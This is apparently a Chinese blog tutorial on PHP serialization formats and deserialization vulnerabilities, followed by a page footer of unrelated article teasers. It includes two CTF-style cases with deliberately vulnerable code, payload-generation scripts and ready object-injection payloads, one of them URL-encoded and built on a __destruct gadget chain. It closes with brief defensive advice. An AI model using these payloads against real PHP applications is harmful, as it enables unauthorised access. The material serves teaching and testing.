序列化与反序列化基础及反序列化漏洞(附案例)
参考文章:
[web安全原理]PHP反序列化漏洞 - 笑花大王 - 博客园 (cnblogs.com)
一、概念
为了能有效的存储数据而不丢失数据的类型和内容,经常需要通过序列化对数据进行处理,将数据进行序列化后,会生成一个字符串,字符串包含了序列化前的数据的信息,交由反序列化函数处理后,即可复原数据。
而在PHP中常用的序列化和反序列化函数则有:序列化函数(serialize、json_encode),反序列化函数(unserialize、json_decode)
二、PHP序列化
这里着重介绍serialize函数
1、NULL序列化
NULL将被序列化为N;:
示例代码:
<?php
$text = NULL;
echo serialize($text);
输出结果:
2、Boolean序列化
bool类型将被序列化为(b:value;):
示例代码:
<?php
$text = true;
echo serialize($text);
输出结果:
3、int序列化
int类型将被序列化为(i:value;):
由于在PHP中声明变量时不需要显式的将数据类型标出,因此当超出了int类型的范围(通常是-2,147,483,648到2,147,483,647)时,会被PHP解析为double类型
示例代码:
<?php
$text = 123;
echo serialize($text);
输出结果:
4、double序列化
double类型将被序列化为(d:value;):
在PHP中类似于1.23和超出int类型范围(如:123124315213412512)的数据,通常都会被解释为double类型
示例代码:
<?php
$text = 12.3;
$text1 = 123124124124123124;
echo serialize($text)."<br>";
echo serialize($text1);
输出结果:
5、String序列化
String类型将被序列化为(s:length:"value"):
示例代码:
<?php
$text = "e3xplolt-hada";
echo serialize($text);
输出结果:
6、Array序列化
Array将被序列化为(a:length:{i:index;value(对应数据序列化后的结果如NULL则是N;);}):
示例代码:
<?php
$text = array();
$text[0] = NULL;
$text[1] = true;
$text[2] = 123;
$text[3] = 1.23;
$text[4] = 123124315213412512;
$text[5] = "e3xplolt-hada";
echo serialize($text);
输出结果:
7、Object序列化*
Obeject将被序列化为
(O:class_name_length:"class_name":value_num:{s:value_attribute(1,2+class_name_length+value_name_length,3+value_name_length):"value_name";value_type:value;})若属性为private则value_name为(class_name.value_name),若属性为protected则value_name为(*.value_name)
注: class_name=类名、class_name_length=类名长度
value_name=变量名、value_name_length=变量名长度、value_type=变量类型(如int、bool)、value_attribute=变量属性(如public、private和protected)、value_num=变量个数
其中value_attribute后的1,2,3则分别代表public,private,protected,如在test1类内有一个变量为private $b="789",则序列化后value_attribute值为2+class_name_length(test1长度为5)+value_name_length(b长度为1),即2+5+1=8,所以为8
示例代码:
<?php
class test1{public $a;private $b="789";private $ca="aacc";protected $c123=456;
}
$test = new test1;
$test -> a = 123;
echo serialize($test);
输出结果:
O:5:"test1":4:{s:1:"a";i:123;s:8:"test1b";s:3:"789";s:9:"test1ca";s:4:"aacc";s:7:"*c123";i:456;}
三、PHP反序列化
1、魔术方法
__wake与__unserialize
当对序列化后的对象进行反序列化时,在PHP存在类似于__wakeup和__unserialize魔术方法,每次unserialize函数对对象进行反序列化操作时,都会尝试调用这个对象所属类中的__wakeup和__unserialize方法,如果存在就会执行
注:若__wakeup和__unserialize方法同时存在,则__wakeup方法会被无视
示例代码:
<?php
class test1{public $a;public function __wakeup(){echo "<br>"."e3xplolt-hada";}
}
$test = new test1;
$test -> a = 123;
echo serialize($test);
$test123=serialize($test);
$test=unserialize($test123);
输出结果:
__destruct
该魔术方法会在某个对象不再被调用或者对象被销毁时调用
示例代码:
<?php
class test1{public $a;public function __destruct(){echo "<br>"."e3xplolt-hada";}
}
$test = new test1;
$test -> a = 123;
输出结果:
四、反序列化漏洞
1、漏洞成因
反序列化函数传入参数可控
类内存在魔法函数
2、案例分析
unserialize函数传参可控
<?php
include "./flag.php";
class user{public $password="xxxxxx";public $username="xxxxxx";public $isadmin='e3xplolt-hada';public function login($u,$p,$id){if($this->username===$u&&$this->password===$p){$this->checkadmin($id); }}public function checkadmin($id){if($id===$this->isadmin){global $flag;echo "hello,admin:".$flag;}}
}
$user=unserialize($_GET['ser']);
$user->login($user->username,$user->password,$user->isadmin);
分析代码:
我们可以发现在函数unserialize中存在可控制的变量$_GET['ser'],同时他会在之后调用该类下的login方法,因此正常业务逻辑应为传输用户序列化后的信息给unserialize函数,再通过login进行登录并检测权限,但由于这里的传参未经正确的处理因此产生反序列化漏洞。这里可通过构造一个对象其$password变量为xxxxxx,$username变量为xxxxxx,$isadmin变量为e3xplolt-hada即可,因此我们有如下脚本可生成payload
脚本代码:
<?php
class user{public $password="xxxxxx";public $username="xxxxxx";public $isadmin='e3xplolt-hada';
}
$text = new user;
echo serialize($text);
payload:
O:4:"user":3:{s:8:"password";s:6:"xxxxxx";s:8:"username";s:6:"xxxxxx";s:7:"isadmin";s:13:"e3xplolt-hada";}
输出结果为:hello,admin:flag{hardtowork}
魔术方法使用不当
<?php
include "./flag.php";
class user{private $username='xxxxxx';private $password='xxxxxx';private $isVip=false;private $class = 'info';public function __construct(){$this->class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{private $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{private $code;public function getInfo(){if($this->code==="givemeflag"){global $flag;echo $flag;}}
}
$user = unserialize($_GET['ser']);
分析代码:
分析代码可知如果我们想要获取flag,我们需要尝试用一个属于backDoor类的对象,去调用getInfo方法,并且该对象的私有变量code必须是字符串"givemeflag"。
通过观察类user发现他会在创建一个新对象时,创建一个Info类的对象,并存储在class中。
同时我们发现,当user类下的对象不再被调用或被销毁时会调用class所存储的对象所属类下的getInfo方法。
从上面的分析我们可以得出突破口在__destruct方法中,若我们利用$user = unserialize($_GET['ser']);传入一个对象,该对象内部的变量class所存储的对象属于backDoor类,且该对象内的code变量值为"givemeflag",当对象被销毁时,则会自动调用backDoor类下的getInfo函数,获取flag
脚本代码:
<?php
class user{private $username='xxxxxx';private $password='xxxxxx';private $isVip=ture; private $class = 'backDoor';public function __construct(){$this->class=new backDoor();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}
}
class info{private $user='xxxxxx';public function getInfo(){return $this->user;}
}
class backDoor{private $code="givemeflag";public function getInfo(){if($this->code==="givemeflag"){global $flag;echo $flag;}}
}
$p=new user();
$a=serialize($p);
echo urlencode($a);
payload:
O%3A4%3A%22user%22%3A4%3A%7Bs%3A14%3A%22%00user%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A14%3A%22%00user%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A11%3A%22%00user%00isVip%22%3Bs%3A4%3A%22ture%22%3Bs%3A11%3A%22%00user%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A10%3A%22givemeflag%22%3B%7D%7D
注:需保留URL编码,否则不认,原因暂不清楚
五、防御手段
针对反序列化漏洞,我们需要着重观察函数unserialize及json_decode,注意可控参数的过滤
同时关注类中如果出现魔术方法如__unserialize、__wakeup、__destruct时,需谨慎对待,过滤传参,保护其下的敏感函数如eval,system等
相关文章:

序列化与反序列化基础及反序列化漏洞(附案例)
参考文章: [web安全原理]PHP反序列化漏洞 - 笑花大王 - 博客园 (cnblogs.com) 一、概念 为了能有效的存储数据而不丢失数据的类型和内容,经常需要通过序列化对数据进行处理,将数据进行序列化后,会生成一个字符串,字符…...

Khronos:动态环境下时空度量语义SLAM的统一方法
Khronos: A Unified Approach for Spatio-Temporal Metric-Semantic SLAM in Dynamic Environments 原文 项目 引言: 人类居住环境通常是高度动态的,人、机器人和其他实体不断移动、互动和改变场景。对于机器人在这种情况下的操作,仅仅建立一…...
一个迷茫的25岁前端程序员的自述
作者:一尾流莺 一直听说程序员的危机在 35 岁,没想到我的危机从 25 岁就开始了。 我甚至不知道自己是不是 25 岁,也可能是 26 岁,或者 27 岁,1998 年的生日,按照 2023 - 1998 的算法就是 25,按…...

多文件并发多线程MD5工具(相对快速的MD5一批文件),适配自定义MD5 Hash I/O缓存。
自己写的多文件 MD5校验工具,一个文件开一个线程,有最大I/O 缓存设置,兼容读写MD5后缀文件。 共计91个文件,合计180G左右 12分钟左右,UI基本卡废,但程序没蹦,属于正常。 卡的原因是基本是用 I/O…...

Pikachu-url重定向-不安全的url跳转
不安全的url跳转 不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话就可能发生"跳错对象"的问题。 url跳转比较直接的危害是: …...

如何下载和安装CLion,图文详解
一、下载 登录JetBrains官网,下载最新版本的Clion,Clion目前没有社区版,都是专业版。 二、安装 1、启动Clion安装程序,下一步。 2、修改安装目录,下一步。 3、创建桌面快捷方式,更新PATH变量࿰…...
vue3导入本地图片2种实现方法
在<script setup>中使用import语法: <template><img :src"logo" alt"Logo"> </template><script setup> import logo from ./assets/logo.png; </script> 使用Vue的ref来动态地在<script setup>中…...
leetcode 刷题day36动态规划Part05 背包问题(完全背包、518. 零钱兑换 II、377. 组合总和 Ⅳ、70. 爬楼梯 (进阶))
完全背包 完全背包的每件商品都有无限个,和01背包的一不同主要体现在遍历顺序上。为了保证每个物品仅被添加一次,01背包内嵌的循环是从大到小遍历。而完全背包的物品是可以添加多次的,所以要从小到大去遍历。 518. 零钱兑换 II 思路&#…...

检查jar冲突,查找存在相同class的jar
写在前面 本文看下如何查找jar冲突,即查找哪些jar包中存在相同的class。如果是存在相同jar的不同版本,基本一眼就能看出来,然后结合maven的依赖关系将其剔除掉即可,但是当你遇到了有人手动拷贝某些class到jar包中导致冲突的情况时…...

PhpStudy-PHP5.4.45后门漏洞应用程序(C++/base64/winhttp)
PhpStudy-PHP5.4.45后门漏洞应用程序(C/base64/winhttp) 前言引言(时间回到多年前) PhpShellCmd.exe使用介绍:(1)输入网址检测是否存在PHP/5.4.45(2)whoami(3…...

【优选算法】(第二十七篇)
目录 重排链表(medium) 题目解析 讲解算法原理 编写代码 合并K个升序链表(hard) 题目解析 讲解算法原理 编写代码 重排链表(medium) 题目解析 1.题目链接:. - 力扣(LeetCod…...

学习Flask框架
Flask简介 Flask是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2 。Flask使用 BSD 授权。 Flask也被称为 “microframework” ,因为它使用简单的核心,用 extension 增加其他功能。Flask没…...

Elasticsearch:使用 LLM 实现传统搜索自动化
作者:来自 Elastic Han Xiang Choong 这篇简短的文章是关于将结构化数据上传到 Elastic 索引,然后将纯英语查询转换为查询 DSL 语句,以使用特定过滤器和范围搜索特定条件。完整代码位于此 Github repo 中。 首先,运行以下命令安装…...

人脸表情行为识别系统源码分享
人脸表情行为识别系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Computer Vis…...

ThreadLocal原理解析及面试
基本使用 讲原理之前,我简单写个demo小程序说说怎么使用 public class TestThreadLocal {public static void main(String[] args) throws InterruptedException {ThreadLocal<String> tl new ThreadLocal();/**主线程设置了一个值*/tl.set("SSSSSs&…...

探索未来:mosquitto-python,AI领域的新宠
文章目录 探索未来:mosquitto-python,AI领域的新宠背景:为何选择mosquitto-python?库简介:mosquitto-python是什么?安装指南:如何安装mosquitto-python?函数用法:5个简单…...
C++版iwanna1
第一篇目录 开头程序Game.cpp源文件Player.h头文件Player.cpp源文件trigger.h头文件trigger.cpp源文件Cmp.h头文件Cmp.cpp源文件 开头 大家好,我叫这是我58。 程序 Game.cpp源文件 #define _CRT_SECURE_NO_WARNINGS 1 #include <iostream> #include <c…...

LSTM变种模型
一、GRU 1.概念 GRU(门控循环单元,Gated Recurrent Unit)是一种循环神经网络(RNN)的变体,旨在解决标准 RNN 在处理长期依赖关系时遇到的梯度消失问题。GRU 通过引入门控机制简化了 LSTM(长短期…...

Python进阶--函数进阶
目录 1. 函数多返回值 2. 函数多种传参方式 (1). 位置参数 (2). 关键字参数 (3). 缺省参数 (4). 不定长参数 3. 匿名函数 (1). 函数作为参数传递 (2). lambda匿名函数 1. 函数多返回值 def return_num():return 1# 返回1之后就不会再向下继续执行函数体return 2 resu…...
elasticsearch 8.2 设置账号密码
背景:单节点集群数据写入测试-CSDN博客 前述项目支持设置账号密码,但8+版本似乎不能那么做了。 ERROR: [1] bootstrap checks failed. You must address the points described in the following [1] lines before starting Elasticsearch. bootstrap check failure [1] of…...

手游刚开服就被攻击怎么办?如何防御DDoS?
开服初期是手游最脆弱的阶段,极易成为DDoS攻击的目标。一旦遭遇攻击,可能导致服务器瘫痪、玩家流失,甚至造成巨大经济损失。本文为开发者提供一套简洁有效的应急与防御方案,帮助快速应对并构建长期防护体系。 一、遭遇攻击的紧急应…...
【Linux】C语言执行shell指令
在C语言中执行Shell指令 在C语言中,有几种方法可以执行Shell指令: 1. 使用system()函数 这是最简单的方法,包含在stdlib.h头文件中: #include <stdlib.h>int main() {system("ls -l"); // 执行ls -l命令retu…...
AtCoder 第409场初级竞赛 A~E题解
A Conflict 【题目链接】 原题链接:A - Conflict 【考点】 枚举 【题目大意】 找到是否有两人都想要的物品。 【解析】 遍历两端字符串,只有在同时为 o 时输出 Yes 并结束程序,否则输出 No。 【难度】 GESP三级 【代码参考】 #i…...

LeetCode - 394. 字符串解码
题目 394. 字符串解码 - 力扣(LeetCode) 思路 使用两个栈:一个存储重复次数,一个存储字符串 遍历输入字符串: 数字处理:遇到数字时,累积计算重复次数左括号处理:保存当前状态&a…...
Objective-C常用命名规范总结
【OC】常用命名规范总结 文章目录 【OC】常用命名规范总结1.类名(Class Name)2.协议名(Protocol Name)3.方法名(Method Name)4.属性名(Property Name)5.局部变量/实例变量(Local / Instance Variables&…...
多模态商品数据接口:融合图像、语音与文字的下一代商品详情体验
一、多模态商品数据接口的技术架构 (一)多模态数据融合引擎 跨模态语义对齐 通过Transformer架构实现图像、语音、文字的语义关联。例如,当用户上传一张“蓝色连衣裙”的图片时,接口可自动提取图像中的颜色(RGB值&…...
python如何将word的doc另存为docx
将 DOCX 文件另存为 DOCX 格式(Python 实现) 在 Python 中,你可以使用 python-docx 库来操作 Word 文档。不过需要注意的是,.doc 是旧的 Word 格式,而 .docx 是新的基于 XML 的格式。python-docx 只能处理 .docx 格式…...
Unit 1 深度强化学习简介
Deep RL Course ——Unit 1 Introduction 从理论和实践层面深入学习深度强化学习。学会使用知名的深度强化学习库,例如 Stable Baselines3、RL Baselines3 Zoo、Sample Factory 和 CleanRL。在独特的环境中训练智能体,比如 SnowballFight、Huggy the Do…...

Maven 概述、安装、配置、仓库、私服详解
目录 1、Maven 概述 1.1 Maven 的定义 1.2 Maven 解决的问题 1.3 Maven 的核心特性与优势 2、Maven 安装 2.1 下载 Maven 2.2 安装配置 Maven 2.3 测试安装 2.4 修改 Maven 本地仓库的默认路径 3、Maven 配置 3.1 配置本地仓库 3.2 配置 JDK 3.3 IDEA 配置本地 Ma…...
Device Mapper 机制
Device Mapper 机制详解 Device Mapper(简称 DM)是 Linux 内核中的一套通用块设备映射框架,为 LVM、加密磁盘、RAID 等提供底层支持。本文将详细介绍 Device Mapper 的原理、实现、内核配置、常用工具、操作测试流程,并配以详细的…...